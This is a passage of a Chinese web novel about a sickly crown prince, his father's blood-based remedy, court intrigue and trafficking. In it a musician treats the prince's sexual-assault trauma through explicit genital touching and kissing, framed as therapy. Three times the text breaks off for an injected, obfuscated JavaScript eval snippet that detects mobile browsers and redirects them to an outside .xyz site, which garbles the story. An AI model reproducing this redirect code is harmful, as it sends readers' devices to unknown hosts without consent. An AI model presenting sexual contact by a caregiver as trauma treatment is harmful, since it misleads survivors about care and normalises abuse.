秦华阳——秦寄转过脸,和萧玠四目相对。这一瞬,萧玠已经看到他长大的身形,月色朦胧处,一个高瘦、冷峻、神色复杂的少年。那样流畅完美的面骨轮廓,他只在父亲的脸上见过。萧玠有种预感,这绝不是他们此情此景的唯一一次告别,而男孩秦寄已经迈开步子,他踩在如霜的月光上,没有留下半个脚印。 第二天晌午,萧玠会听闻有人夜入行宫的消息,很多年后,他也会知道秦寄本该要杀、却没能杀死的究竟是谁。 但当时,萧玠的大脑只能做出一个决定: 他必须赶回宫中,弄明白为他续命的汤药里,沉淀着怎样的秘密。 *** 甘露殿前,月亮目光如炬,萧玠蹑手蹑脚,踩上台阶。 给萧玠熬药像进行某种神秘的宗教活动。甘露殿中,单独辟出一间房屋,只有萧恒和秋童可以进出;房门专配一把新锁,也只有这两人掌有钥匙。那扇门里似乎包藏珍宝,也似乎包藏魔鬼。萧玠每次到来,永远大门紧闭。 这次除外。 这并不是萧玠会出现的时间。 萧玠刚走到门前,听到父亲问:“怎么才回来?” 他心中一跳,已听秋童道:“殿下药吃了一半,胃不舒服,便先睡了一觉。奴婢也困着了,收拾回来便晚了时辰。” 秋童给他送夜间的药时,秦寄正溜进来,吹了些迷药倒了他。看来他对此事并无知觉。 父亲说:“以后还是叫他趁热吃。” 下一刻,萧玠呼吸加紧,睁大眼睛。 萧恒站在门内,开始解衣。 他赤出左臂时,萧玠看到他大臂上缠绕的纱巾。随着萧恒动作,白纱脱落,露出一片巴掌大的伤口。伤痕遍布,如同烂肉。 萧恒取过一只匕首,一只空碗。萧玠知道他要做什么——他喉咙里有人叫喊但他自己发不出半点叫声—— 他眼看萧恒手握匕首,割开自己大臂,像割开一头牛羊的腱肉。 58. 第 58 章 肌肉层绽裂的一瞬鲜血溢出,萧恒迅速咬住匕首手柄,拿碗接在手臂下。鲜血接了半碗后流速减缓,他吐掉匕首,右手开始捏合伤口。 萧玠一瞬间头晕眼花。眼前碎片闪烁,他像看见一双手挤压一个人腹部的伤口,脓血挤出时,萧恒手臂鲜血汩汩——萧恒目光专注,那人一声不吭——萧恒挤压伤口的手那人抓紧被褥的手——那是一只戴扳指的手。 恍惚间,秋童已经捧来一只乌黑药罐。萧恒没管手臂,将那碗鲜血倒入罐中,迅速盖上盖子,牢牢压在案上。 一瞬间,罐内响起剧烈撞击声,好一会才平静下去。等罐子一动不动了,萧恒才把东西倒进石臼—— 是一条浑身饱胀通红、金红环目的毒虫。 秋童端过萧玠平日所用的药炉,轻车熟路地挑拣草药,准备烹煎。萧恒从旁抓过其他药材加在臼中,拿石杵捣起来。 砰、砰、砰。 郑挽青的声音在耳边响起。 二月那场大病后,郑挽青面对他的跪谢,语带深意。 他说殿下,是有人拿血救了你。 …… 石杵石臼砰地一撞,萧玠一动不动,对上萧恒的眼睛。他从不知父亲看到自己时,竟能如此惊惧。 萧恒冲一旁不知所措的秋童道:“你先出去。” 秋童应声,房门再度合上。 萧玠迈动脚步,站到他面前,问:“为什么非得是你的血?为什么不能割我的血?” 萧恒说:“阿爹身体里有两种蛊毒,已经长入血肉。只有这么养出来的药王虫,对你的病才有效用。” 萧玠低头看那只石臼。那虫子还没有被完全砸烂,汁液四溢。萧玠以为自己会作呕,但是他没有。 他把视线挪到萧恒手臂上,“这长久不了的。” 萧恒说:“你是我儿子,我会养你一辈子。” 萧玠平静道:“你死之后呢?” 没有说崩,没有说走,没有说仙去,他最直截残忍地说死。他逼视萧恒的眼睛,“你死之后,再怎么办?” 萧恒似乎不为所动,“到时候会有到时候的法子。” 萧玠说:“你知道我最多能活到多大年纪,就算吃这药,也不过多一日少一日的区别而已。” 萧恒说:“能多一日是一日。” 萧玠没说话,静静看他一会,从一旁找过干净的纱巾。萧恒顺他的意思,从椅中坐下,由他给自己包扎伤口。 缠过第一圈时,萧玠左臂同样的位置出现幻痛。他的手指开始哆嗦,但他的声音依旧平静。他像个乖顺的儿子一样,说:“阿爹,如果我不知道这件事,我可能会照你的心意,直到你没有的那天——或者直到我二十岁那天才死去。但今天我知道了。” 他看着萧恒的脸,“如果你还要坚持,我今天就会死。” 一瞬间,萧恒表情扭曲起来,大股鲜血打湿纱巾,从伤口迸出。 但萧玠没有给出任何反应。 他替萧恒扎好手臂,缓缓俯身,从背后环抱住他,脸贴在萧恒脸侧。在这依靠里,萧玠近乎无情地说:“阿爹,我会好好治病,我会努力活下去,但不是以这种方式。” 清晨第一缕阳光射入甘露殿时,萧玠端起石臼,将那汁液倒进花盆。等他跨出门槛,才敢扶柱子弯腰喘气,已是一头大汗。 一只手递到面前。 萧玠闪躲一下,认出来人,撑着他胳膊直起身。 沈娑婆将他扶在臂弯,“阿子不见了您,直接慌了神。他和六率搜查行宫,臣领了腰牌,进宫来看看。” 萧玠点点头,“我没事的。” “臣知道。”沈娑婆静了一会,叫他,“殿下。” “您出门了。” 萧玠一愣,转头回望,甘露殿原地矗立,像父亲伤痕累累的肩膀。寂静之中,萧玠似乎又听到萧恒捣药的声音,是他搏动的心跳声,砰、砰、砰。 *** 再回行宫,萧玠渴望痊愈的心更加急切。我便循序渐进,和他进行更深入的接触。 我抚摸他的脸颊,也叫他对我这么做,在外人看上去,像一双情人。但我们心知肚明,我们只是两个交流病情的病人。哪怕我手指刮过他嘴唇和喉结时,他会像情动一样地浑身战栗。但我知道,那是恐惧,是那次创伤留下的残痕。 在这样的抚摸不过一日后,萧玠便要求再看《牡丹亭》。 皇帝对此依旧踌躇,但萧玠是个足够勇敢的人。我对皇帝说,裹足不前的更不该是我们。 皇帝道:“我陪他去。” “臣会守在殿下身边,但建议陛下,最好不要陪同。”我隐晦道,“殿下的心结有关风月,此事不得见于尊长之前。” 皇帝沉默片刻,还是首肯。 因萧玠看戏生过事故,戏台上下,无人不紧张。这次唱到《惊梦》,小旦便声如紧帛,堪堪未裂。那男女的巫山之梦在花园中一起,萧玠额头已汗水涔涔。 在他表情即将产生裂痕前,我握紧他的手。 萧玠成功度过那个傍晚,生旦谢场之时,满园掌声雷动。 他额头抵在我肩上,满脸水迹斑斑,分不清是汗是泪。自始至终,我们两个一言不发,十指交扣。 萧玠秋天来到行宫,转眼已到深冬。几个月来,他基本恢复了与人交际的能力,只是相对更依赖我一些。如今年节在望,他同我讲,想要赶回宫中陪父亲过年。 他说:“过一年少一年。” 话已至此,我更没有阻拦的理由。 萧玠见我应允,难得眉眼俱笑,道:“你陪我一块,好不好?” 我问:“殿下回家,还是会害怕?” 萧玠一愣,冲我颔首。 对于回宫,他的神情有欣然,有紧张,却没有恐惧。这言行不一的原因,约莫是知我六亲断尽,怕我一人孤苦,所以以此为借口,拉我一块过年。 萧玠重新开始关心他人,并付诸行动。这是一个很好的讯号。 冬至,我和萧玠一同登车,一时之间,只听得车轮碾过石板的辘辘之声。 萧玠穿着全套冕服,太过沉重,隆冬时节,他耳后已出一层薄汗。我靠着车壁,不一会,萧玠便靠住我的手臂。宫门打开时,我几乎感到他胸口砰砰的震动。他紧张时还是习惯握我的手。 我捏了捏他的手指,道:“烟花。” 萧玠分过神,也抬头去瞧。烟花嗖然腾空,砰然绽放,五色光芒透过车窗映在他脸上,像一些喜极而泣的拟态。 他捏紧了我的手。 马车停下时,我听到车门之外传来惊呼,紧接着唱喏声起,带着兴奋和颤抖,向宫宴之上的所有人宣告:“皇太子驾至!” 紧接着,衣袍摩擦声、起身声、下拜声接连响起,萧玠却车而下时,百官命妇齐齐下拜,俯身祝颂太子千秋无期。 我看到萧玠捏紧衣袍的发白的骨节。他鼻翼翕动,胸口轻轻起伏几下,接着交叉双手,挺胸抬头,向前迈动脚步。 去年这时候,他向天下公布自己的死期,是为了皇帝。今年,他要对众人昭示自己的健康和生命力,还是为了皇帝。 皇帝至今认为,能够激起萧玠求生欲望的人远在天边。只有我知道,真正的灵丹妙药,一直近在眼前。 *** 萧玠从萧恒身边落座后,仍频频去看沈娑婆,萧恒便吩咐沈娑婆同太子侍坐。 沈娑婆出身教坊,而非贵胄,伴驾太子,十分不合礼制。但没人敢为此事扫皇帝的兴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566401|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫兴者,另有其人。 酒过三巡,众臣便一齐起身,举杯为帝后太子祝颂。在所有人重新落座后,仍有一人立在殿中。 身穿深绿官服,面容英俊,正是新任户部员外郎,新科探花出身。 萧恒看清是谁,和声问:“汤卿有事启奏?” 汤惠峦捧衣跪倒,向萧恒叩首,“臣万死,越级举发大员矫借天威、纵容子弟,在地方侵占田地,收受贿赂竟有二十万两之多。新年新象,旧恶需除,请陛下降旨,严查此案!” 席间一时俱寂,只响起萧恒的声音:“你所说之人,是谁?” “是百官之首,当今国舅。”汤惠峦俯身叩首。 “中书令杨峥。” 杨峥之名一出,全场哗然。 杨峥除皇亲国戚这一层身份外,还是皇帝腹心和变法拥趸,当朝最位高权重的帝党。现如今,正代天巡狩,料理各州官员贪贿案。 汤惠峦今日惊天一告,足以颠覆整个朝局。 鸦雀无声中,杨皇后从座中站起。她蛾眉舒展,脸颊无波,向萧恒欠身,平静道:“后宫不得干政,妾先行告退。” 萧恒亦未作色,颔首应允。 皇后在宫人簇拥下施施然离席而去,殿中气氛更冷一重。萧恒停杯的声音在寂静中无比清晰,他看向昨日才赶回京城、位列座首的杨峥,“中书令,你有什么话说?” 杨峥起身出列,向萧恒拜道:“既然同僚举发,请陛下依照大梁律法暂停臣职,命三司介入调查。只是地方查贪正到要紧关头,臣请陛下立即择选良臣,与臣交接事务。” 萧恒思索片刻,突然问:“王府众女的案子查得怎么样了?” 主审崔鲲当即出席,拱手道:“时至腊月,已捣毁窝点十余处,解救妇女二百余名。臣近日查清,拐贩妇女者并非南秦中人,应当处身军中。” 萧恒气息一凛。 果然。 崔卿继续道:“此人手眼通天,且与贪污之案干系甚深。臣已写好奏折,准备开年后上呈陛下。” “崔卿,只怕要你能者多劳了。”萧恒道,“传旨,授崔鲲黜陟大使一职,赐节钺,左卫翼护,代天巡狩。” 此话一出,举座皆惊。 巡狩之权何其之重,皇帝执政近二十年,能够代天巡视者只有两人。 昔日之李寒,今日之杨峥。 而如今,崔鲲入仕不过一载,区区员外郎之身,竟获如此殊荣。黜陟使大权之下,她虽在中枢之外,权却直接凌于众人之上,俨然成为当朝最年轻的“相公”。 群臣自然不满,但抢在他们开口进谏前,萧恒便借口头痛散了宫宴。他前脚走,萧玠便见崔鲲起身,由秋童领了出去。 只怕这个年夜,萧恒过不清净。 萧恒一去,面对众臣萧玠仍有些心悸,也起身离席。沈娑婆在旁搀扶他,由他握紧自己的手,问:“殿下是回去,还是去东宫?” 萧玠没有回答。他仰起脸,轻声道:“烟花。” 沈娑婆听到烟花嗖然腾空后,砰然绽放的声音。他随之抬头,见那朵金花怒放至极,转瞬后,在空中也像在萧玠脸边凋零,似一朵芍药在鬓,粉褪花残。 皇帝太子离席后,众臣也依制出宫。脚步声逐渐纷乱,沈娑婆怕萧玠担受不住,要扶他回去。 萧玠一动不动。 沈娑婆冲他面朝的方向望去,在无数官袍间,看到虞闻道瘦到脱相的面容。 他脸颊凹陷,神情如痴,和从前的意气风发判若两人。他站在红墙根底,没有上前,也没有离去。 虞闻道缩在人群后,向这边望了许久,低下了头。 沈娑婆感到,靠在他手臂之中太子,在一夜平静之后,突然发病似的微微颤抖。 59. 第 59 章 回到东宫时,萧玠汗水已经将里衣湿透,声音几乎从齿关里挤出来:“不要惊动陛下。” 沈娑婆没有违逆他,也没叫任何人上前。他点亮整间阁子,又键好门窗,自己挽袖接盆,拿热帕子替萧玠擦洗手脸。 萧玠伏在案上,鼻中一股一股地出气,突然抱住沈娑婆替他擦脸的手,把脸埋在帕中。 他动作掀得烛火一跳。沈娑婆叹口气,腾出一只手,缓缓抚摸他的后背。 许久,萧玠才拿下帕子,喃喃道:“他怎么……瘦成这个样子?” 沈娑婆默然。 “你知道是不是?”萧玠抓紧他的手,“到底出了什么事,你们都瞒我……你们不能瞒我呀!这件事因我而起,这也是我的事!” 沈娑婆安抚道:“殿下这一段时间才见好些,臣本想开年之后,慢慢告诉殿下。” 他握着萧玠的手,缓缓说道:“出事之后,嘉国公便将世子关了宗祠,也动了板子,若非尉迟将军领了圣旨赶去,世子那双腿怕要废了。嘉国公便不好再惩处,将世子送去京郊一处庄子养病。直到临近冬至,世子才赶回来。” 冬至大如年,当朝常于冬至日赐宴百官,以睦君臣。 他究竟为什么回来,所有人心知肚明。 萧玠问:“军械监造呢,陛下没有给他授官吗?” 沈娑婆道:“世子请辞了。” 他心气废了。 萧玠斜歪在案上,两只手盖着脸,像下了什么决心,说:“我得见他一面。再这么下去……会出人命。” 沈娑婆眉头未展,还是摇头,“不行。” “他会死的!” “殿下,”沈娑婆缓声道,“你现在受不得直面世子的刺激。” 萧玠拉着他的手,急切道:“我已经好了。我可以自己出门,今天出席宫宴也没有什么错处,我现在……” 沈娑婆打断:“有一件事,臣和殿下一直避而不谈。” 一切痛苦、一切罪孽的肇始之地。 迷乱的、不堪的、为人笑柄的—— 那个夜晚。 沈娑婆注视下,所有声音在萧玠口中戛然而止。 好一会,他才断断续续道:“我……我可以,我准备好了。我们可以谈这件事……我们总要谈这件事。” 沈娑婆说:“谈论并不够。” “殿下记得第二次要听《牡丹亭》时,臣做了什么吗?” “你……握了我的手。” “是,如果要彻底解决这件事,臣会有更进一步的举动。像那一次、像之前让殿下回忆文正公之死一样,殿下必须身临其境。”沈娑婆语意隐晦,“到时候,臣不只会以下犯上,甚至罪当斩首。” 萧玠一时不语。 灯火下,他伶仃的影子闪烁,像一片薄薄的纸人颤抖。 沈娑婆没有催促。这件事,必须萧玠自己做决定。 终于,萧玠抬起脸,脸白如纸。 他紧抿的嘴唇线条间,挤出短短一个字: “好。” *** 得到答案后,我默然片刻,对萧玠说:“这一次,臣需要在殿下的卧室。” 我需要在一个更加私密的空间,触碰他更加私密的感情。这对他来说,更容易放开,也更安全。 萧玠仍从案边坐着,面无血色地,像株无所依附的女萝。片刻后,他撑案起身,牵住我的手。 这是他过度紧张的习惯。 萧玠没做决定前时常退缩,但决定做下,千难万险也不会回头。他的汗意已经濡湿我的掌心,但他仍拉着我,穿过帘子和屏风,往那张架子床前走去。 我叹道:“殿下可以略吃一些酒水。” 萧玠像要证明什么,说:“没有大碍的。” 我领他从床边坐下时,一瞬间他浑身紧绷起来。 我由他抓紧我的手,道:“现在只有我们两个,殿下需要告诉我那晚发生了什么。我会根据殿下所述,触碰你的身体。殿下一旦受不住,就立刻叫停。” “……一定要吗?” “如果殿下想解开这个结,一定。” 萧玠呼吸发沉,缓了好一会,说:“那天……下着雨。” 他好久没有说下去。 我没有催促,直到他继续说:“我意识有些模糊了,那两个女孩上来,我……没有力气去推开。她们脱掉我的衣服……和裤子。她们……抚摸我。” 我从他面前站起,问:“她们如何抚摸你?” “从脸开始,到脖颈,到胸口,到……肚子。” 随着他的描述,我的手开始移动,从他的脸颊开始。 我先把手在他脸旁停留一会,让他认出,这是他目前信任的、我的手。然后,我开始抚摸他的脸。从他闭上的、微微翕动的眼皮,到鼻梁,到他有些发抖的嘴唇。 做完这一切,我问他:“还好吗?” 萧玠轻轻喘着,点了点头。 我说:“臣会继续,接下来,臣会解开殿下的衣带,抚摸你的身体直到腹部。请殿下记住,面前的是臣,神智清醒,不会叫你受到伤害。殿下可以相信臣。” 萧玠有些颤抖,片刻后,他向一旁侧过脸,将脖颈露出来。 我深吸口气,右手手指往下,左手仍和他牢牢相握,轻声道:“是臣,殿下,是臣……” 我指腹擦过时,感觉他颈窝处的皮肤起一层栗。我感受到那条搏动的血管,轻轻抽出他握着的手,来解他的衣带。 萧玠今天穿一件半新的窄袖道袍,腰间只系了两道绦带。我抽开他衣带,衣襟散落下来,褶皱堆叠在他膝上。我右手抚摸到他胸口时,萧玠抓紧床褥。 我没有刻意躲避,指背摩擦过去时他哆嗦着吸了口气。我略微等待一会,发现他没有叫停,手便继续往下,至他绷紧的小腹。萧玠很瘦,他一吸气,胸下的肋骨清晰可见,像一排一排折扇的扇骨。由于不通武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566402|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,也少出力气,他的肚子是很软的一块。 到此为止,他的接受超过我的预料。我便问:“她们接下来做了什么?” “她们出去了。”萧玠的声音几乎是从齿关里挤出来,“三哥……他进来了。” 我的手仍按在他小腹上,轻声问:“他呢,他做了什么?” 萧玠睁开眼睛,手臂撑在榻上,微微颤抖。 我问:“殿下,他对你做了什么?” “我……我当时很难受,我不知道怎么回事……”萧玠牙齿打着哆嗦,“我叫他帮帮我。” “他怎么帮你?” “他的手……我……他先给我……”萧玠有些哽咽。我感觉得到,他对我下一步行动产生了极大的恐慌。 我握住他的手,用他这些天熟悉的、信任的方式,缓缓将手指插卝进他指缝当中。过了好一会,我问:“从那之后,殿下自卝渎过吗?” 他浑身一颤。 我感到他身体里有两股力,一股想要甩开我拼命逃脱,一股便死死按住他,勒令自己不能动弹。 通过他超出预料的身体反应,我心中有所猜测。我看他嘴唇颤抖着张开:“我……我不想……” “殿下。”我轻声说,“如果你想好起来,就要跟臣说实话。只有我们知道,没关系的。” 萧玠垂下头,半晌无言。我听到他轻轻抽气,接着,他点了点头。 我柔声道:“我们在你的卧房,锁好了门窗,也不会有人闯进来。我们很安全。殿下,你还受不住这样直接的触卝碰,所以臣会握着你自己的手。臣会继续问你……如果想要好起来,我们必须要直面这件事。但如果你受不了,立刻叫停,不要强撑。” 我握了握他的手指,问:“可以吗?” 我听着萧玠的呼吸声,察觉他鼻内已经有些堵。过一会,他点了点头。 我深深呼吸好几下,咬了咬牙,左手解开他的裤带。 当我拢着萧玠覆上去时,他当即惊叫一声。几乎是一瞬间,他的眼泪便扑簌簌掉落下来。我没有立刻动弹,让他适应一会,问:“还好吗?” 萧玠另一只手抓紧我的手臂,勉强点了点头。 我问:“他那天是怎样帮的你,还记得吗?” “从……从上往……”萧玠的脸几乎伏在我肩膀上,“他……慢慢变重……速度也……” 我扣住萧玠那只手,如他所述。 “他的茧子……他……” 他那只手没有脱扳指,因常习琵琶也磨着薄茧。我的手比他要大些,不通过他的手,我也能察觉一切。萧玠另一只手揪紧我的后领,话难说出一句。 我说:“睁开眼睛。” 萧玠额头仍抵在我肩上。 我道:“殿下,睁开眼睛,往这看。” 我感觉他立刻绷紧,但仍听我的意思。 我继续问:“殿下,告诉我,在那之后,你自渎卝的时候在想什么?” 60. 第 60 章 “我……”几乎是刚听到我这么问,萧玠就扬起脖颈,“不行……” 他无法承受地连声喊道:“我不行了……我不行了!” 我马上松开他,撤离的速度还是不及他快。萧玠大喘着气倒在榻上时,我抽离那潮热狭小的空间中。 他不只眼圈,连鼻尖都发红,眼泪汩汩淌着。裤腰微褪,露出他一起一伏的肚脐。 我拿帕子擦干净手,从榻边架子上取过一块干净手巾帮他擦汗。 萧玠还没缓过来,等我替他擦完脸眼神才聚焦起来。他问:“还继续吗?” 我道:“不了,就到这儿。” “那……以后,还用继续吗?” “以后再说。”我抚摸他的头发,感觉他发根已经发潮,轻声道,“殿下,你比臣预想中坚强得多。” 萧玠没有说话。 我和他隔了段距离坐在榻边,“但殿下,臣还是要问,你自己解决的时候在想什么?” 萧玠睫毛微微颤抖。 他在这件事之后仍能自卝渎,说明他对性卝事并非是一种完全的厌恶情绪。 他的症结,甚至不在这件事对他的伤害上。 我叹口气:“如果殿下实在不想谈论,我们就不谈。那夜接下来的事,就算是仅是回忆,只怕殿下如今也很难承受得住。我们也暂且搁开,等过一段时间,等殿下觉得好些,我们再说。” 萧玠侧卧在榻上,像个婴儿一样蜷缩着。我正打算退下,叫他更换衣裤,突然听见他喃喃道:“如果我那夜……其实没有那么抗拒呢?” 我脚步一顿,转头看他。 萧玠把袖子盖在脸上,声音哆哆嗦嗦:“我很害怕,我真的很害怕,但我记得那天晚上,是我先……我先对他……他一开始要拒绝……我……” 我从榻边蹲下,安抚道:“是药物的作用。” “真的只是药物吗?”萧玠肩膀抖动,“那我为什么……会想着它来……” 我默然片刻,说:“殿下觉得,自己喜欢世子吗?” 萧玠喘着气说:“我……我真的不知道。” 他对虞闻道的触碰虽恐惧,却不反感。这种反应,很难说没有半点感情。 但萧玠却不愿承认。 是无法接受对伤害自己的人抱有感情,还是另有原因? 我斟酌许久,说:“如果心分不清楚,殿下可以用身体来判断。” “世子那晚,有没有亲你?” 萧玠咬住嘴唇,点了点头。 我仍蹲在他面前,握住他的双手,然后我仰头看着他的眼睛,认真道:“殿下,接下来,我们要试试这一步。不要怕,臣不会伤害你。和之前一样,受不住,就立刻叫停。” *** 沈娑婆亲上来时,萧玠有一瞬间窒息。 他强行遏制推开面前人的冲动,死死揪住他的衣领。那触感贴在他嘴唇上,这是他第一次在完全清醒的状态下被人亲吻。柔软的,干燥的,萧玠能感觉到他嘴唇的纹路,和小缕温热的鼻息。 萧玠浑身僵直,太害怕,更要牵手。五根手指死死嵌在他指缝里,如果不是后背被他另一只手托住,只怕要直接倒在榻上。 这时,萧玠感觉有热气吹在唇上,沈娑婆轻声问:“还好吗?” 他并没有深入,只贴合了嘴唇。 两人这么依靠着,萧玠点点头。 沈娑婆的嘴唇仍依靠着他的嘴唇,他的眼睛也近在咫尺。沈娑婆道:“我要进一步,受不受得住?” 萧玠睫毛有些发抖,鼻息一下深一下浅,还是点头。 沈娑婆轻轻捏着他指骨,这是这段时间以来他们之间特有的安抚方式。不知怎的,萧玠突然跑了一下神,不久前的一个深夜,一个男孩也这么捏住他的小指——沈娑婆开口,温柔地、又发号施令般道:“张嘴。” 萧玠知道要面临什么。 他闭紧双眼,献祭般、身心颤抖地张开口。接着,两张嘴唇含住了他。 沈娑婆亲得很缓慢,萧玠也跟着他。逐渐变响的啧声中,他们的嘴唇也从干燥变成黏热。 萧玠舌头僵直,不敢抬也不敢落,沈娑婆嘴中那湿热气息已经在亲吻中溢满他口腔。他们两个人像共用一张嘴,那条潜伏已久的舌随时能蛇一样缠住他的。 萧玠意识有些混沌,一时之间,有些分不清何时何地,面前到底是哪个人。迷蒙中他听那人低声道:“殿下,呼吸。” 沈娑婆抬起脸,萧玠大口呼吸起来。他发现自己已经完全仰到榻上,沈娑婆坐在榻边,递一块干净帕子给他。 等萧玠缓过气,沈娑婆问:“恶心吗?” 萧玠微愣,拿不准该点头还是摇头。 沈娑婆换了个问题,“那害怕吗?” 萧玠说:“我知道,你不会伤害我。” 沈娑婆笑了笑,牵过他的手覆去,在那毫无起伏之地。 他柔声说:“记住这感觉。殿下,如果他亲你的感觉和我一样,那夜就只是药物作用。你不会喜欢他。” *** 一开年,萧玠便收到秦灼的来信,信中仍小心避开玉陷园之事,只问他病情如何,南方春暖花开,要不要来这边待一段时间。 上次秦温吉进京,两地关系本有缓和,却因萧恒一句“相交泛泛,各不相干”重回尴尬局面。退一万步讲,就算没有此事,仅从萧恒立后这件事看,以秦灼的心气也决计不会再回长安。萧玠状态渐渐好转后,才明白父亲为自己做出了怎样的牺牲。 当夜,他捏着秦灼的信走进甘露殿,递给父亲看。萧恒从头至尾一个字一个字读完,笑道:“那就去吧,你不是想阿耶吗?我叫尉迟送你去,到了那边,记得给我来封信。” 萧玠默默走上前,脸埋在他颈窝里,小孩子似的抱了他好久。不知道什么时候起,这样拥抱时他已经能贴住萧恒的脸了。是他长高了,还是萧恒的背驼了? 萧恒一下一下拍打他的后背,萧玠抓紧他的衣襟,没敢作出任何承诺。 第二天,萧恒便替他收拾箱笼,不要旁人打点,自己亲力亲为。萧玠要吃的药都贴好签子、写明服用剂量,四时衣裳也一一归置,还有一些平日用的书具香具,整理了足有三天。这三天,萧恒借口收拾行李住在东宫。每个夜晚,在萧恒以为儿子熟睡的时辰,萧玠都听得到父亲小声进门、替他熄掉香炉的脚步声。 不多日,鹤驾在太子卫率簇拥下辞别长安城,斑驳的古城头和一个中年男人一起目送太子车马远去,很可能也是一去不回。 萧玠放下打起车帘的手,无奈笑道:“怎么这样瞧我。” 对面,坐着个本不该出现在此、但的的确确就在此处的人。 崔鲲未戴官帽,但穿着深绿官袍,正靠着车壁仔细看他。 自从玉陷园后,皇太子艳闻遍传天下,萧玠足有半年没有出示人前。期间,有关他身世的流言愈演愈烈,崔鲲才惊觉太子的讳言因何缘故,如果他真是无母而育的产物,那如今的诛心之论,是在诛他的命。 太子多次自杀未遂的传言甚嚣尘上,皇帝却置若罔闻。崔鲲给东宫上了十数封请安折子,没有得到一次回音。 直至冬至宫宴,她和百官一样,在那次事故之后第一次见到萧玠。 更瘦了,瘦得有些怕人。也不像从前从容自若,一点细微声响都能叫他神情闪动。萧玠再次出现在人前,更像一个祭奠所用的假人。 她由皇帝召去嘱托巡狩事宜,要离宫时,正从宫墙根看见同样是数月未见的虞闻道。 如果说萧玠像个假人,虞闻道完全不像个人了。如果说他从头到脚还有一丁点人的东西,那就是那双眼睛,和眼睛里包含的感情。 崔鲲顺着他的目光,在烟花底,看到浑身僵直的太子。 不过五六丈的距离,没人迈出一个步子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566403|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 事发之后,崔鲲上书请罪,全部被萧恒驳回。她便全身治案,审讯雷厉,缉捕风行。太子的意外似乎无法干扰她,但她但凡离开刑部,每日每夜都无法不想,如果她没有轻信樊百家的说辞,如果她那天一起随行,如果她阻止萧玠亲自查封玉陷园…… 因为她的失职和自负,让这两个人甚至皇帝在内,付出如此惨痛的代价。 崔鲲悔恨无极。 她接下杨峥巡察地方的担子,正要赶赴瑶州,临行前,收到萧玠顺路同行的邀请。 她不想致歉、不想请罪、不想请求原谅,这些毫无用处。 她只想亲眼看看,萧玠现在好不好。 萧玠笑道:“我这一去,不知何时才能再见。如今杨公受困,你又年轻,千万小心。” 崔鲲见他眼中有了神采,心便放下大半,说:“殿下安心,朝中万事有臣。” 萧玠看了她一会,“我已经大好了,你不必担心我。这事闹得大,绥郎也来信问过。我这几日才有精力给他写信,来不及寄了,等他回来,鹏英代我转交吧。” 崔鲲从他手中接过信封,塞入袖中。 萧玠看她一会,叹道:“鹏英,你别这样。除了绥郎,我从小就没什么朋友。我私心里是把你当姐姐看待的。” 他见崔鲲仍旧谨慎,便主动问起:“如今你来瑶州,那拐贩妇女的案件如何处置?” 讲起案情,崔鲲便丢了那些规矩,道:“不瞒殿下,那件案子卡住了。” 萧玠奇道:“卡住?但我听闻各地配合刑部捣毁不少窝点,救出不少女孩。” 崔鲲道:“但案犯再不敢轻举妄动。对于主犯,依旧少有头绪。” 萧玠问:“宫宴时我听你提到,主犯只怕身在军中,不能照此追查下去吗?” “天下一百余州,各地折冲府便有百余之多,普查不是个好法子。狱中新得出些有用信息,但要精确范围仍非易事。”崔鲲道,“之前一名线人在受审时说漏,用到‘都尉’一词。” “都尉?” “也就是咱们常说的都统,是折冲府的高级军官。”崔鲲说,“现在一些南方军队仍保留着称呼‘都尉’的习惯。” “你的意思是,这批拐贩女孩的队伍不仅出身地方军队,还是南方派系?” 萧玠深深呼吸几下,几乎说不出话,半晌才能开口:“军人本当保家卫国,竟行此卑劣之举,苦害一众百姓,安为军官,不如禽兽!” “在狱中,臣还观察到一件事。”崔鲲等他情绪缓和,继续道,“殿下知道,逼良为娼是何等重罪,军官犯罪,则罪加一等。这种阴私之事,主犯只会叫自己的亲卫部队出手。而被擒之人,有一些非常近似的习惯。臣观察到,他们每天寅时三刻左右清醒,若无审讯,每夜亥时三刻左右犯困,这应当是他们早晚吹号的时辰。据狱卒来报,他们甚至都在差不多的时间统一出恭。” 她顿了顿,“自从奉皇七年与齐国停战之后,陛下便军民同养,修生养息,不少军队松懈下来,但这支队伍却始终保持训练习惯,军律甚至堪称严明。这才是最为奇怪之处。” 一个军纪严明的队伍,为什么会做出如此丧尽天良之事? 行出京外,卫队暂时停车饮马,车帘也被打开。萧玠只向车帘投过一眼,就立刻红到耳根。 那少年人手端铜盆,臂弯搭一块巾帕,竟还有一件小衣。萧玠声音有些支吾,对崔鲲道:“鹏英,这是教坊沈郎,我在行宫里多亏他的照料。” 他二人气氛有些古怪。 